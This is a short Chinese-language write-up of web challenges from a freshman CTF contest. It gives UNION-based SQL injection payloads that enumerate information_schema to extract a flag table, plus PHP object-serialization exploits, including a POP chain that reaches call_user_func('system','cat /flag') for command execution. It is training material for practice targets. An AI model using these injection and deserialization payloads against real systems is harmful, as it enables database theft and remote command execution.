新生赛web题解

ikun注入

常规的数字型注入

union select database();
union select table_name from information_schema.tables where table_schema=database();
union select column_name from information_schema.columns where table_name='F14g';
union select yourflag from F14g;

ez_serialize

<?php

class AHUctf{
    public $start = True;
    public function __destruct(){
        global $flag;
        if($this->start === True){
            echo "flag在这里".$flag;
        }
    }
}
$ahuctf=new AHUctf();
echo serialize($ahuctf);

ezpop

<?php
error_reporting(0);
class func{
    public $func;
    public $content;
    public function __construct($func,$content){
        $this->func=$func;
        $this->content=$content;
    }
    public function __tostring(){
        call_user_func($this->func,$this->content);
    }
}
class output{
    public $output;
    public $hahaha;
    public function __construct($output,$hahaha){
        $this->output=$output;
        $this->hahaha=$hahaha;
    }
    public function myecho(){
        echo $output;
    }
    public function __invoke(){
        $this->output;
    }
    public function __wakeup(){
        if(preg_match('/system/i',$this->output)){
            die("hacker");
        }else{
            $this->hahaha->haha;
        }
    }
}
class tofunc{
    public $name;
    public function __construct($name){
        $this->name=$name;
    }
    public function __get($key){
        $function=$this->name;
        return $function();
    }
}
$func1= new func("system","cat /flag");
$output1=new output($func1,"");
$tofunc1=new tofunc($output1);
$output2=new output("",$tofunc1);
echo serialize($output2);